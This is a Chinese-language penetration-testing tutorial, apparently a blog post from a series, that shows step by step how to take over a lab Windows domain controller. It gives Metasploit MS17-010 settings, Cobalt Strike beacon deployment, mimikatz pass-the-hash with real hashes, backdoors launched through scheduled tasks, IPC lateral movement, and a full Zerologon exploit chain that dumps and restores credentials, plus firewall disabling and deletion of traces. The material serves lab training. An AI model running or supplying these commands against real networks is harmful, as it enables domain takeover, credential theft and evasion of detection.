内网靶场_从自做到拿下-域渗透
1. 目录
目录 ----- ------ ------ ------ 1
简介 ------ ------ ----------- 1.1
域环境 ----- ----- ----- ----- 2
ms17-010拿域控 ----- ---- 2.1
存活主机探测 ------ ----- 2.1.1
取得域控权限 ------ ----- 2.1.2
域管身份拿域控 ------ ----- 2.2
通过令牌拿域控 ---- ---- 2.2.1
通过密码拿域控 ---- ---- 2.2.2
zerologon获取域控权限 — 2.3
cve-2020-1472漏洞利用 2.3.1
上线cs ---- ----- ----- - 2.3.2
可能错误处理 ---- ---- ------ 3
net系统错误6118 ---- ---- 3.1
域控无法ping通域成员 ----- 3.2
wmiexec.py脚本出现解码错误 3.3
总结 ---- ----- ---- ----- — 4
1.1 简介
在前文的基础上,进行本文的实验
在前文中,以讲述到 将cs后门上传至域成员机,并且通过frp搭建的反向隧道,通过反弹shell的形式成功获取域成员的shell权限。本文在此基础上,开始利用cs等工具,获取相关信息,并对与环境中的域控服务器进行渗透。
如未阅读前文,可关注公众号或通过下述连接,阅读该系列文章:
内网靶场_从自做到拿下-自做篇:
https://mp.weixin.qq.com/s/kwVVYjJ4sNxNx0XKvVDN-A
内网靶场_从自做到拿下-攻击篇:
https://mp.weixin.qq.com/s/7MzYOZ10zrQCSZ2a9k23gw
在攻击篇中你学到了:
1. frp多级socks隧道正向搭建
2. frp多级socks隧道反向搭建
3. 通过frp的反向隧道 获取反向shell
在该篇中,你将学到
Cobalt Strike 的使用方法
2.1.2 : 生成正向监听 由取得权限的域成员机向域控机发起连接 获取正向shell
2.2.1 : 以域成员为跳板 由域控机向取得权限的域成员机发起连接 获取反向shell
2.2.2 : 通过建立ipc连接 已知域管明文密码情况下 获取正向shell
2.3 : 通过zero漏洞 未取得域管权限的情况下 获取域控的域管shell
3.3 : 通过修改脚本源码,解决中文解码错误
工具分享:
链接:https://pan.baidu.com/s/1SxOhT5N0lvaPe2q1Nxg0FQ
提取码:qmig
2. 域环境
2.1 ms17-010拿域控
前文简述:
当我们通过msf成功利用靶机的ms17-010漏洞取得权限后,将cs(cobalt Strike 后文均简写为cs)生成的后门文件上传至靶机并运行,成功反弹shell至cs,取得权限。
2.1.1 存活主机探测
当我们成功上线后,在cs的 目标 列表中,仅有已上线靶机的一台目标:
如果在真实环境中,我们要中的也于此相同,先探测同网段的存活主机有哪些,可以使用ping、nmap等诸多工具探测;此处以cs为例展开。
在我们的 会话 列表中,右键点击 选择 INteract 打开会话窗口,可以执行命令
以上两图,是对同一靶机连通的会话,可以看到 在会话列表中(图2),每一会话,显示一条,而在 目标 列表中(图1),相同的靶机仅会显示一条
在会话(beacon)窗口,可以执行cs提供的一系列命令,通过help查询:
在对目标探测时有两种情况
1.当不处于域环境时(处于域环境也可),对ip段进行探测:
在 会话 列表中,找到port scan选项(单看选项时对端口的探测 实际上也包含存活主机探测。。。不得不吐槽一下cs参数、参数名等含义太难以区分了。。。)
打开该选项后,在弹出的功能页中主要有以下内容(选中后,多等一会才会出现ip,或者提前设置sleep),选择要探测的ip段,填写 ports 当填写该项的时候,会在探测存活ip的同时对ip的这些端口进行检测,当ports项为空时,就是仅探测存活主机了,不过,正常情况下端口和ip同时探测即可。
在discovery中可以选择探测方式,点击scan开始探测,探测完成后,会自动将探测到的主机信息(存活主机ip、端口信息等)保存在 目标列表 中,记得设置 sleep 0(看大部分说法是 心跳间隔,个人理解 这不就是响应间隔嘛)
当探测完毕后,同样在 目标 列表中,选择 services 选项, 即可查看对端口的探测信息,可以发现 445端口,msf测试,同样存在ms17-010漏洞
2.1.2 取得域控权限
前文中使用frp搭建正反向 两条socks5隧道,通过反向代理的方式,使得靶机上线cs。
此处通过cs自带的socks监听,生成正向后门,以已经上线cs的靶机为跳板,通过正向连接的方式,上线域控机。
启动cs的socks监听:
此处采用 正向shell的方式 (反向监听在2.2.1中讲述) ,监听 服务端(运行teamserver的攻击机)的端口,设置socks隧道,不过 cs生成的隧道似乎是socks4的隧道,设置代理的时候也要设置为socks4
查看我们通过cs开启的socks隧道,ip是服务端ip,端口即为上图设置的 16682端口,如下:
然后就是使用msf打ms17-010漏洞,和前文一样,直接概述:
setg Proxies socks4:172.16.52.227:16682
setg ReverseAllowProxy true
use exploit/windows/smb/ms17_010_psexec #此处有所差别
set rhost 192.168.30.10
set lhost 172.16.52.227
set payload windows/x64/meterpreter/bind_tcp
在使用msf利用ms17-010漏洞时
本次选择的模块:exploit/windows/smb/ms17_010_psexec
,需要目标开启命名管道,连接稳定
而前文使用的模块:exploit/windows/smb/ms17_010_eternalblue
,如果靶机存在这个漏洞即可利用,但是正由于功能比较强大,也存在把靶机打蓝屏、重启等情况。而且杀软拦截也比较严格
故,在使用msf利用ms17-010漏洞时,优先考虑使用exploit/windows/smb/ms17_010_psexec
模块
生成正向监听后门exe:
然后就是加载该监听,并生成后门:
通过msf上传并启动运行:
这些生成后门,和通过msf上传启动,和前文并没有区别,故,直接概述
需要注意的是在 加载监听生成后门 时,之所以选择下面 带 (s)
的是因为:
没带(s)
的,生成的是 类似于下载程序,通过成功建立连接后,分段下载完整后门至靶机的方式,完成功能的实现。优点是:小巧,缺点是:容易传输失败
而带(s)
的,生成的是完整的后门程序,功能完整。优点是:一次到位,缺点是:体积相对要大一些
各有优缺,根据需求选择即可
正向监听的监听端口已开启,接下来便是通过我们已经取得权限的靶机作为跳板机,正向发起连接:
通过命令:connect 192.168.30.10 4444
发起连接,可以看到成功上线,并且因为是通过ms17-010漏洞启动的监听,故权限也是最高的system权限
小结:
成功上线域控后,还是管理员权限,便可执行任意命令包括但不限于:收集敏感信息、上线所有域成员等等;
2.2 域管身份拿域控
因为域环境的特殊性,域用户默认情况下只有普通用户权限仅能登录域成员,且无法登录域控。
故我们需要通过各种手段,包括但不限于:域管理员(下称:域管)令牌窃取、漏洞利用等。
概述:
当我们域成员机中,有域管登录该成员机,或者有以域管权限启动的进程等等,我们即可通过这些痕迹,取得域管密码或者取得令牌,以域管的身份登录域控,并控制整个域环境。
此处直接以域管身份登录域成员,分别展开两种方式拿下域控。
先在域成员机登录域管账户,使域成员机存在域管记录。
登录时,为防止用户名冲突,用户名有两种输入方式
- 域名\用户名:HACK\Administrator
- 用户名@域名.com:Administrator@hack.com
2.2.1 通过令牌拿域控
因为我们已经通过cs上线域成员机,故,可以由此可以获取诸多敏感信息,包括域管令牌:
查找是否存在以域管身份运行的进程:
通过查看 域成员机 进程列表,可以发现诸多进程,当进程列表中,出现以域管身份运行的进程时,我们就可以通过窃取该进程的令牌,来获得域管的身份,进而登录域控,控制整个域环境。
此处,域管身份的进程,包括但不限于 域管登录、域管通过域控机对域成员机安装程序等。
找到以域管身份运行的进程后,点击下方的 steal Token 按钮,可以窃取域管令牌,取得域管身份
此处额外添加小知识:
如果取得了域管用户的hash值,还可以由此自行创建一个域管进程,并窃取令牌进而取得域管权限:
使用命令:
#注意空格
mimikatz sekurlsa::pth /user:[域账户] /domain:[域名称] /ntlm:[域账户hash] /run:"cmd -whidden"
mimikatz sekurlsa::pth /user:administrator /domain:HACK /ntlm:52006573b2d198f930c6c27c456fe945 /run:"cmd -whidden"
可使用cs提供的两个命令 Dump Hashes命令和 Run Mimikatz命令,提取该靶机中存储的 明文密码或者密码的hash值,选中想要复制的 用户名及密码(或者hash值) 点击下方的copy按钮,即可提取
额外添加小知识----此处结束;
令牌窃取的过程:
使用 ps 列出进程
使用 steal_token [pid] 窃取令牌
使用 getuid 找到你是谁
使用 rev2self 移除令牌
使用getuid命令可以看到,我们成功由 本地system用户,切换至域管用户:
通过查看域控机共享目录来判断是否取得域管权限:
当我们移除 域管 令牌 依旧使用本地system权限时,可以发现并不能访问域控共享目录:
可见,当我们窃取令牌后即可取得域管权限,接下来便是通过域管权限,取得 域控 控制权
利用过程:
注:在下列利用过程1-5阶段,步骤没有问题,但是会因为防火墙原因导致无法成功上线,从第六步讲关闭防火墙,可先跳过 1-5 阶段,待关闭防火墙后再回到此处。(如果采用2.1.2中的正向连接则不存在该问题)
- 窃取令牌后 取得域管权限
- 以域成员机作为跳板,使用cs生成监听,及反向连接的后门exe上传至域控服务器,生成以域成员机为中转机的反向监听,并 同2.1.2 加载该监听生成exe后门:
- 上传至域控,需要先上传至我们拿到的域成员机,然后再copy至域控的共享目录下:
执行shell命令 将当前目录下的 exe程序 copy至 域控的 共享目录下:
shell copy ./AD_1-beacon.exe \\192.168.30.10\c$
- 使用下列命令,在域控机以创建计划任务的形式,添加定时启动,启动该后门程序,进而取得shell
shell schtasks /create /s [域控ip] /tn [计划名_任取] /sc minute /mo 1 /tr [待启动exe路径] /ru system /f
shell schtasks /create /s 192.168.30.10 /tn hack /sc minute /mo 1 /tr c:\AD_1-beacon.exe /ru system /f
通过下列命令 删除计划任务
shell schtasks /delete /s 192.168.30.10 /tn hack /f
- 经上述步骤,正常情况下是没有问题,可以直接上线的,但是由于该成员机存在防火墙原因,会导致被拦截而无法上线。我们需要先关闭防火墙才可。如果直接使用命令
net stop mpssvc
会是的防火墙这个进程整个关闭,导致该靶机直接无法ping通,所以不可取。使用命令netsh firewall set opmode mode=disable
仅关闭拦截即可
- 如果未关闭防火墙,导致 经1- 5 步骤后无法成功上线的话,可通过第6步,关闭防火墙后,等待即可(因为计划任务会自动启动我们的后门进程,如果长时间未上线,则再重复一遍即可)
2.2.2 通过密码拿域控
在域环境渗透过程中,如果好运的拿到了域管的密码,则可通过 ipc横向移动 的方式进行shell获取:
建立 SMB 监听:
通过我们获取到的 域管用户及密码,建立ipc连接:
#shell net use \\192.168.30.20\ipc$ /u:"[域管用户名]" "[域管密码]"
#shell net use \\192.168.30.20\ipc$ /u:"administrator" "admin_passwd"
使用命令 shell net use 查看建立的连接
net use z: \\ip\c$ //把目标C盘映射到本地z盘(已建立ipc连接的情况下)
net use \\ip\ipc$ /del (清理痕迹,删除ipc连接)
这里提一个点,在多次渗透内网的过程中碰到了一个问题,那么就是这个命令输入的时候到底需不需要加上引号,我的建议是最好加上引号,另外就是如果是在Cobalt Strike里面执行ipc命令进行连接的时候,密码中如果有一些特殊的字符,需要进行转义,否则可能会导致ipc连接不成功。
其中 向域管用户发起ipc连接时 除了 administrator 用户外,某些情况还存在 管理组用户也可建立连接,具体情况可参考:
(参考文简介:在域管机中,通过专门设置,需满足 1.域成员被添加至管理员administrator组 2.修改注册表设置,默认情况不可用;条件比较苛刻)
https://ares-x.com/2020/03/10/%E5%85%B3%E4%BA%8EIPC%E5%92%8CPTH%E7%94%A8%E6%88%B7%E6%9D%83%E9%99%90%E9%97%AE%E9%A2%98/#%E6%9C%AC%E5%9C%B0%E7%94%A8%E6%88%B7%E5%92%8C%E5%9F%9F%E7%94%A8%E6%88%B7%E7%9A%84%E8%AE%BF%E9%97%AE%E6%8E%A7%E5%88%B6
建立ipc连接后,即可直接使用jump命令上线 域控:
jump [模块名] [目标ip/域名/计算机名 均可] [创建的smb监听_监听名]
jump psexec64 WIN-EO6QBQHJOIA SMB
可以直接通过命令取得shell,或者通过 进入 目标列表 使用功能按钮,进行选择:
执行完毕后,等待片刻,即可成功上线,取得shell,该连接方式为正向连接
2.3 zerologon获取域控权限
工具准备:
zero漏洞的系列脚本:cve-2020-1472-exploit.py、secretsdump.py、reinstall_original_pw.py、impacket工具包
漏洞编号: CVE-2020-1472
漏洞简介:
通过置空 域控机密码(注册表等记录并不会被修改,漏洞详情自行百度),导出 hash 取得域管权限,并还原域控密码。再通过域管权限上传后门exe,启动,建立连接,上线cs。
实操:
在我们已取得一台域成员权限的基础上(未取得,可先阅读前文)进行利用。
首先通过cs自带功能建立socks隧道,对攻击机设置全局代理,
因为漏洞利用阶段,要由攻击机直接执行脚本,对内网环境发起攻击,而漏洞利用脚本,一般情况下都是已经完善好的,不方便再修改代码添加代理什么的。并且通过设置,修改系统代理的话,不仅麻烦而且有些程序依旧不会走系统代理。故,通过一些代理工具,直接强制所有流量通过代理执行。
注:如果你在未设置代理的情况下,发现可以直接通过宿主机执行脚本对靶机发起攻击,不要惊讶,因为你是宿主机,虚拟机的虚拟网卡的虚拟ip,你都有,所以可以直接访问,但实际情况下是你需要通过代理
设置我们通过cs生成的代理,ip为cs服务端ip,端口为上图设置端口:
添加完代理服务器后,便是设置代理规则,默认情况下是全局代理,也导致需要联网的一些程序,如:浏览器、cs客户端等程序的流量也被代理至内网,而出现无法联网的情况。
故,需要通过设置代理规则的方式来进行判定,仅代理哪些程序、或者仅不代理哪些程序。笔者设置了仅选定的程序不经过代理,其余均使用代理(简单、易设置。。。。)
然后就是,需要注意的是,代理规则可以设置多条,其代理优先级从上至下。
2.3.1 cve-2020-1472漏洞利用
设置代理后,便可直接使用各种工具开始对内网发起攻击,置空域控密码:
#python cve-2020-1472-exploit.py [域控主机名] [域控ip]
python cve-2020-1472-exploit.py WIN-EO6QBQHJOIA 192.168.30.10
可以看到,执行脚本时,python流量经过代理,当执行成功后,可以看到上图结果。
使用空密码建立连接,并导出hash:
#python secretsdump.py [域]/[域控主机名]@[域控ip] -no-pass
python secretsdump.py hack.cn/WIN-EO6QBQHJOIA$@192.168.30.10 -no-pass
通过导出的hash,可以明显的看到,WIN-EO6QBQHJOIA 密码被置为空(空密码hash为:31d6cfe0d16ae931b73c59d7e0c089c0),但是 Administrator 用户密码却并未被更改。故,我们利用的也是:WIN-EO6QBQHJOIA
有了域管用户:Administrator 的hash,即可使用wmi的hash传递,发起攻击取得域控机的shell权限:
找到impacket包的安装路径,在python安装路径下的模块目录中:python\Lib\site-packages\impacket-0.9.25.dev1-py3.7.egg\EGG-INFO\scripts
(笔者路径为此,可通过文件搜索工具快速查找),并在该路径下启动cmd命令框(为使用wmiexec.py)
然后使用wmi命令,使用hash传递的方法,取得权限:
python wmiexec.py -hashes [在导出hash时取得的] [域管用户名]@[域控ip]
python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:52006573b2d198f930c6c27c456fe945 Administrator@192.168.30.10
可以看到,成功由本地路径切换至域控路径,并取得域管shell:
#执行以下命令,将原密码的hash文件,保存在域控端,然后下载至本地,进行解析。最后删除域控端的备份文件 清楚痕迹
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
#当使用下列命令下载文件时,会将下载的文件保存在wmiexec.py的同目录下
lget system.save //部分版本impacket用get下载文件
lget sam.save
lget security.save
#清理域控段文件,防止太明显被发现
del system.save
del sam.save
del security.save
在执行命令时,如果出现下列错误提示,为字符集问题,解码错误,无法识别中文。可通过对脚本进行修改,进行解决。解决方案参考 3.3 ,修改后脚本,在工具连接中分享。
下载、删除,不再演示。输入 exit 退出远程连接。
获取三个 hash文件后,使用脚本对其进行解析:
#python secretsdump.py -sam [sam.save路径] -system [system.save路径] -security [security.save路径] LOCAL
python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
选择 ACC 后面的 红线圈中的 hash 即为我们还原域控密码时所需要的原hash:
python reinstall_original_pw.py [域控机名称] [域控ip] [上图中acc后的hash值]
python reinstall_original_pw.py WIN-EO6QBQHJOIA 192.168.30.10 d2f33aa3d0ceab19535825f2209e99d7
恢复成功后,再以空口令连接,会失败,无法再得到域控机的hash,不过因为我们前面已经取得hash,可以直接使用wmiexec.py通过hash传递,直接取得权限:
hash不变,还是之前的administrator的hash值:
2.3.2 上线cs
概述:
通过2.3.1中获取的权限,上传我们的 cs生成的后门你exe建立连接,此处建立连接的方式同样有两种:2.1.2 中 生成正向监听 获取正向shell 2.2.1中 以域成员为跳板 获取反向shell ;此处采用正向连接(简便),将生成的正向监听后门上传至域控机(生成过程参考2.1.2):
#使用lput命令上传(不同版本可能使用的时put,区别是否有L)
#默认上传至域控机的当前路径下,如下图中的 c盘根目录
lput [所要上传的后门exe,在本机的路径]
上传成功后,启动该exe程序:
start AD_1-beadmon.exe
使用命令,启动后门后,该cmd会出现无响应的情况,直接关闭即可,后门程序已启动,只需通过cs执行命令,建立正向连接,即可上线:
并且是域管权限:
3. 可能错误处理
3.1 net系统错误6118
#注:此错误处理,须在域控机执行方可解决
打开cmd执行两条命令
net start Browser
net stop mpssvc
再执行net view 如果还是提示6118
退出重新打开cmd 再执行 net view 就可以了
还不行多输入几遍命令 可能有缓存情况 记得刷新服务列表
如果 browser 服务被禁止记得先执行 下列命令 把禁止解除
sc config Browser start=[空格]demand(设置服务为手动启动)
3.2 域控无法ping通域成员
当出现,域成员可以ping通域控的ip、域名时,但域控却无法ping通域成员,可以考虑如下解决方案:
如果是真实环境,需要开启防火墙,可通过对防火墙的入站规则进行设置:
在无法被ping通的 域成员机中,通过控制面板,进入防火墙管理的高级设置中,对入站规则进行设置,启动icmp
如果是靶场,或者是渗透目标,可通过命令:netsh firewall set opmode mode=disable
关闭但不禁用防火墙
3.3 wmiexec.py脚本出现解码错误
添加字符集列表,如果解码出错,自行更换:
找到解码出错时的报错提示,添加1、2两处代码,进行字符集的更换:
4. 总结:
至此,讲述了 cs的多种使用方式 包括:
攻击篇中的:frp搭建socks的正、反向隧道;通过frp的反向隧道 获取反向shell
本篇中的:2.1.2 中 生成正向监听 获取正向shell
2.2.1中 以域成员为跳板 获取反向shell
2.2.2中 通过建立ipc连接 获取正向shell等
2.3 中 通过zero漏洞 获取shell
通过上文,取得与权限后,相当于取得了域环境的最高权限,可以使用通过本系列文学到的几种横向移动方式,上线整个域环境
本系列文,主要讲述的是,如何一步步取得整个内网的权限。取得权限后,即可收集各种敏感信息、添加后门、痕迹清除等等。由于时间、篇幅等原因,该篇 域渗透 至此结束。